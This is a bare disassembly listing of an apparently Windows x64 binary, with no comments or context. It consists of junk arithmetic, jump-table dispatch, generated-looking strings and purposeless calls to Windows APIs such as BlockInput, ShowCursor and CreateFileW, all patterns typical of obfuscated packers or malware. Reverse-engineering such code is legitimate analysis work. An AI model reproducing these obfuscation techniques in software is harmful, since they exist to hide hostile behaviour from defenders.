shl eax, cl
mov dword [rsp + 0xa7d8], eax
jmp 0x14001b926
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa7d0]
shr eax, cl
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
jmp 0x14001b926
mov rax, qword [rsp + 0x12f50]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa7d8], eax
jmp 0x14001b926
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
and eax, 0x51
mov byte [rsp + 0x43d], al
jmp 0x14001b926
movzx eax, word [rsp + 0x298c]
add eax, 0xad7
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
jmp 0x14001b926
mov r8d, 0xb4
mov rdx, qword [rsp + 0x12fe0]
mov rcx, qword [rsp + 0x12f30]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
movsx eax, word [rsp + 0x197c]
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0x2990]
movsx edx, word [rsp + 0x1784]
add ecx, edx
cmp eax, ecx
je 0x14030e896
movzx eax, byte [rsp + 0x43d]
mov byte [rsp + 0x6b1], al
lea rax, [rsp + 0x298c]
mov qword [rsp + 0x12fe8], rax
lea rcx, str.WFUXOtzz7_RR.OzUr2
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2998], ax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov dword [rsp + 0xa7f8], eax
cmp dword [rsp + 0xa7f8], 0x209bc68d
jg 0x14001b9fa
cmp dword [rsp + 0xa7f8], 0x209bc68d
je 0x14001c145
cmp dword [rsp + 0xa7f8], 0
je 0x14001baa7
cmp dword [rsp + 0xa7f8], 0x83addb1
je 0x14001bf97
cmp dword [rsp + 0xa7f8], 0x154b477d
je 0x14001bdc0
cmp dword [rsp + 0xa7f8], 0x1feec514
je 0x14001ba32
jmp 0x14001c27c
cmp dword [rsp + 0xa7f8], 0x4e38cfb0
je 0x14001be80
cmp dword [rsp + 0xa7f8], 0x53754c16
je 0x14001c218
cmp dword [rsp + 0xa7f8], 0x5f14dca5
je 0x14001c012
jmp 0x14001c27c
mov r9d, 0xcf
lea r8, [rsp + 0x49f10]
xor edx, edx
mov rcx, qword [rsp + 0x12fe0]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0xa7b0], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa774]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7b4], eax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa774]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov dword [rsp + 0xa7dc], eax
jmp 0x14001c3c5
movsx eax, byte [rsp + 0x6b0]
mov dword [rsp + 0xa7fc], eax
mov eax, dword [rsp + 0xa7fc]
sub eax, 0xffffffa2
mov dword [rsp + 0xa7fc], eax
cmp dword [rsp + 0xa7fc], 0xb1
ja case.0x14001baf9.88
movsxd rax, dword [rsp + 0xa7fc]
lea rcx, [0x140000000]
movzx eax, byte [rcx + rax + 0x30eea0]
mov eax, dword [rcx + rax*4 + 0x30ee84]
add rax, rcx
jmp rax
movsx eax, byte [rsp + 0x43e]
mov dword [rsp + 0xa800], eax
mov eax, dword [rsp + 0xa800]
sub eax, 6
mov dword [rsp + 0xa800], eax
cmp dword [rsp + 0xa800], 0x78
ja case.0x14001bb4a.13
movsxd rax, dword [rsp + 0xa800]
lea rcx, [0x140000000]
movzx eax, byte [rcx + rax + 0x30ef74]
mov eax, dword [rcx + rax*4 + 0x30ef54]
add rax, rcx
jmp rax
mov eax, dword [rsp + 0xa7d8]
movzx ecx, al
mov eax, dword [rsp + 0xa774]
shl eax, cl
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12ee0]
mov qword [rsp + 0x12ff0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12ff0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x6b0]
xor eax, 0x4e
mov byte [rsp + 0x43e], al
mov ecx, 0xb9
call qword [sym.imp.ole32.dll_CoRevokeClassObject]
mov dword [rsp + 0xa7e0], eax
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2990]
and eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
add eax, ecx
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x12f90]
mov ecx, dword [rsp + 0xa78c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f50]
mov ecx, dword [rsp + 0xa7d4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
jmp case.0x14001bb4a.13
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
sub eax, ecx
mov byte [rsp + 0x6b1], al
jmp case.0x14001bb4a.13
mov r8d, 1
mov rdx, qword [rsp + 0x12ff8]
mov rcx, qword [rsp + 0x12ed8]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0xa804], eax
jmp case.0x14001bb4a.13
movzx eax, word [rsp + 0x298c]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
jmp case.0x14001bb4a.13
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov dword [rsp + 0xa7dc], eax
jmp case.0x14001bb4a.13
mov rax, qword [rsp + 0x12f50]
mov rcx, qword [rsp + 0x12ee0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa7d8], eax
jmp case.0x14001bb4a.13
mov rax, qword [rsp + 0x12f50]
mov rcx, qword [rsp + 0x12ee0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
jmp case.0x14001baf9.88
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
jmp case.0x14001baf9.88
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
or eax, ecx
mov byte [rsp + 0x6b1], al
jmp case.0x14001baf9.88
mov edx, dword [rsp + 0xa7e4]
lea rcx, [rsp + 0x12fd0]
call qword [sym.imp.ole32.dll_CoMarshalHresult]
mov dword [rsp + 0xa7e8], eax
jmp case.0x14001baf9.88
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x298c], ax
jmp case.0x14001baf9.88
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
jmp 0x14001c3c5
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa774]
shl eax, cl
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12fb8]
movzx eax, word [rax]
mov word [rsp + 0x2990], ax
lea r8, [rsp + 0x12fd0]
mov dx, 0xe2
mov cx, 0x79
call qword [sym.imp.ole32.dll_CoDosDateTimeToFileTime]
mov dword [rsp + 0xa790], eax
movsx eax, byte [rsp + 0x6b0]
and eax, 0x41
mov byte [rsp + 0x43e], al
movzx eax, byte [rsp + 0x43d]
movzx ecx, byte [rsp + 0x6b1]
and eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x12f48]
mov ecx, dword [rsp + 0xa7d0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
jmp 0x14001c3c5
mov eax, dword [rsp + 0xa7d0]
mov ecx, dword [rsp + 0xa7dc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7d8]
mov dword [rsp + 0xa804], eax
mov edx, 0xd6
mov rcx, qword [rsp + 0x12ed8]
call qword [sym.imp.USER32.dll_IsDlgButtonChecked]
mov dword [rsp + 0xa808], eax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa774]
mov ecx, dword [rsp + 0xa7d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7b4], eax
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x298c], ax
movzx eax, byte [rsp + 0x43d]
movzx ecx, byte [rsp + 0x6b1]
add eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f90]
mov rcx, qword [rsp + 0x12f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa78c], eax
mov rax, qword [rsp + 0x12f50]
mov rcx, qword [rsp + 0x12ee0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
lea rdx, [rsp + 0x49f10]
mov rcx, qword [rsp + 0x12f88]
call qword [sym.imp.USER32.dll_GetMenuInfo]
mov dword [rsp + 0xa7b0], eax
jmp 0x14001c3c5
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa7d4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7dc]
movzx ecx, al
mov eax, dword [rsp + 0xa7d0]
shl eax, cl
mov dword [rsp + 0xa78c], eax
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
sar eax, cl
mov byte [rsp + 0x43d], al
jmp 0x14001c3c5
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2990]
or eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x43e]
and eax, 0x1f
mov byte [rsp + 0x6b0], al
mov rcx, qword [rsp + 0x13000]
call qword [sym.imp.USER32.dll_IsHungAppWindow]
mov dword [rsp + 0xa784], eax
mov rax, qword [rsp + 0x12f48]
mov ecx, dword [rsp + 0xa78c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f20]
mov rcx, qword [rsp + 0x12f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa774], eax
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
or eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
add eax, ecx
mov byte [rsp + 0x6b1], al
mov r8d, 0x7c
mov rdx, qword [rsp + 0x13000]
mov rcx, qword [rsp + 0x13000]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov eax, dword [rsp + 0xa804]
mov ecx, dword [rsp + 0xa7b4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d8], eax
mov rax, qword [rsp + 0x12f90]
mov ecx, dword [rsp + 0xa808]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
jmp 0x14001c3c5
mov eax, dword [rsp + 0xa7b4]
mov dword [rsp + 0xa804], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
add eax, ecx
mov byte [rsp + 0x6b1], al
movzx eax, word [rsp + 0x298c]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x12ed8]
call qword [sym.imp.USER32.dll_LockWindowUpdate]
mov dword [rsp + 0xa80c], eax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa7d0]
shl eax, cl
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa774]
movzx ecx, al
mov eax, dword [rsp + 0xa7d4]
sar eax, cl
mov dword [rsp + 0xa7b4], eax
mov eax, dword [rsp + 0xa804]
mov ecx, dword [rsp + 0xa774]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d8], eax
mov eax, dword [rsp + 0xa804]
mov ecx, dword [rsp + 0xa7d8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
jmp 0x14001c3c5
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov dword [rsp + 0xa804], eax
movzx eax, byte [rsp + 0x43d]
movzx ecx, byte [rsp + 0x6b1]
sub eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rcx, qword [rsp + 0x12f18]
call qword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov dword [rsp + 0xa810], eax
movsx eax, word [rsp + 0x2990]
movsx ecx, word [rsp + 0x197c]
add eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
jmp 0x14001c3c5
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
and eax, ecx
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa808]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa78c]
mov ecx, dword [rsp + 0xa7dc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
sub eax, ecx
mov byte [rsp + 0x43d], al
call qword [sym.imp.ole32.dll_CoGetCurrentProcess]
mov dword [rsp + 0xa78c], eax
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x12f50]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov dword [rsp + 0xa7dc], eax
mov eax, dword [rsp + 0xa7d4]
mov ecx, dword [rsp + 0xa804]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
lea r9, [rsp + 0x6b1]
mov r8d, 0xde
mov rdx, qword [rsp + 0x12f70]
mov rcx, qword [rsp + 0x13008]
call qword [sym.imp.USER32.dll_GetMenuItemRect]
mov dword [rsp + 0xa780], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov dword [rsp + 0xa804], eax
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2990]
sar eax, cl
movsx ecx, word [rsp + 0x197c]
mov dword [rsp + 0xa814], ecx
movsx edx, word [rsp + 0x1784]
movzx ecx, dl
mov edx, dword [rsp + 0xa814]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x14001c586
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
add eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7b4]
mov ecx, dword [rsp + 0xa804]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x43e]
or eax, 0x7e
mov byte [rsp + 0x6b0], al
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
mov dword [rsp + 0xa780], eax
movzx eax, word [rsp + 0x197c]
mov word [rsp + 0x2990], ax
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
add eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x43d], al
mov eax, dword [rsp + 0xa7d0]
mov ecx, dword [rsp + 0xa808]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa804]
mov dword [rsp + 0xa7d4], eax
mov eax, dword [rsp + 0xa7d8]
mov rcx, qword [rsp + 0x12f50]
mov qword [rsp + 0x13010], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13010]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
lea rdx, [rsp + 0x12f68]
lea rcx, [rsp + 0x41978]
call qword [sym.imp.ole32.dll_OleGetAutoConvert]
mov dword [rsp + 0xa7e0], eax
mov eax, dword [rsp + 0xa78c]
mov ecx, dword [rsp + 0xa7d0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
jmp 0x14001c840
movsx eax, byte [rsp + 0x6b0]
or eax, 0x3a
movsx ecx, byte [rsp + 0x43e]
cmp eax, ecx
jl 0x14001c726
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov dword [rsp + 0xa804], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
sar eax, cl
mov byte [rsp + 0x6b1], al
movzx eax, word [rsp + 0x298c]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f50]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7d0]
mov dword [rsp + 0xa7dc], eax
call qword [sym.imp.USER32.dll_GetFocus]
mov qword [rsp + 0x13008], rax
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa7b4], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7b4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
sub eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov r9d, 1
mov r8d, 0xbc
mov edx, 0x4c
mov rcx, qword [rsp + 0x12f30]
call qword [sym.imp.USER32.dll_SetDlgItemInt]
mov dword [rsp + 0xa818], eax
movzx eax, byte [rsp + 0x43d]
movzx ecx, byte [rsp + 0x6b1]
sub eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
movsx eax, word [rsp + 0x197c]
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1784], ax
mov rax, qword [rsp + 0x12f90]
mov rcx, qword [rsp + 0x12f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
jmp 0x14001c840
movsx eax, word [rsp + 0x1784]
movsx ecx, word [rsp + 0x197c]
and eax, ecx
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x2990]
sub ecx, edx
cmp eax, ecx
jge 0x14001c840
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa7d4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa774], eax
movzx eax, byte [rsp + 0x43d]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x6b1], al
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
shl eax, cl
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
mov r9d, 0x83
lea r8, [rsp + 0x12f48]
xor edx, edx
mov rcx, qword [rsp + 0x12f18]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0xa7b0], eax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa808]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7d8]
mov ecx, dword [rsp + 0xa7b4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa774], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa774], eax
mov rax, qword [rsp + 0x12f40]
mov ecx, dword [rsp + 0xa7dc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
sub eax, ecx
movzx ecx, byte [rsp + 0x6b1]
cmp eax, ecx
jge 0x14001c9bc
movzx eax, word [rsp + 0x298c]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
add eax, ecx
mov byte [rsp + 0x43d], al
lea rdx, [rsp + 0xa80c]
lea rcx, [rsp + 0x41988]
call qword [sym.imp.ole32.dll_OleGetAutoConvert]
mov dword [rsp + 0xa7e0], eax
mov eax, dword [rsp + 0xa7b4]
mov ecx, dword [rsp + 0xa774]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7d8]
mov dword [rsp + 0xa804], eax
mov rax, qword [rsp + 0x12f40]
mov ecx, dword [rsp + 0xa7dc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa7d0], eax
mov eax, dword [rsp + 0xa7d4]
mov ecx, dword [rsp + 0xa810]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7d8]
mov ecx, dword [rsp + 0xa804]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x43e]
sar eax, 4
mov byte [rsp + 0x6b0], al
xor ecx, ecx
call qword [sym.imp.USER32.dll_ShowCursor]
mov dword [rsp + 0xa81c], eax
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x197c]
xor eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
shl eax, cl
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x298c], ax
jmp 0x14001ca92
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
and eax, ecx
movzx ecx, byte [rsp + 0x43d]
cmp eax, ecx
je 0x14001ca92
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7dc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov edx, 0x1d
mov rcx, qword [rsp + 0x12ed8]
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rsp + 0xa818], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa804]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa774], eax
movzx eax, byte [rsp + 0x6b1]
movzx ecx, byte [rsp + 0x43d]
or eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x12f90]
mov rcx, qword [rsp + 0x12f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.uQCNhF6RY5VuonKxzfaOYAFd3evQ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13018], rax
lea rax, [rsp + 0xa810]
mov qword [rsp + 0x13020], rax
mov eax, dword [rsp + 0xa7d8]
mov dword [rsp + 0xa810], eax
mov eax, dword [rsp + 0xa78c]
mov ecx, dword [rsp + 0xa7dc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
add eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov dword [rsp + 0xa7d4], eax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov dword [rsp + 0xa804], eax
movsx eax, word [rsp + 0x197c]
movsx ecx, word [rsp + 0x1784]
add eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x197c]
add eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
mov eax, dword [rsp + 0xa7ac]
add eax, 0xd6
mov dword [rsp + 0xa7ac], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
add eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x298c], ax
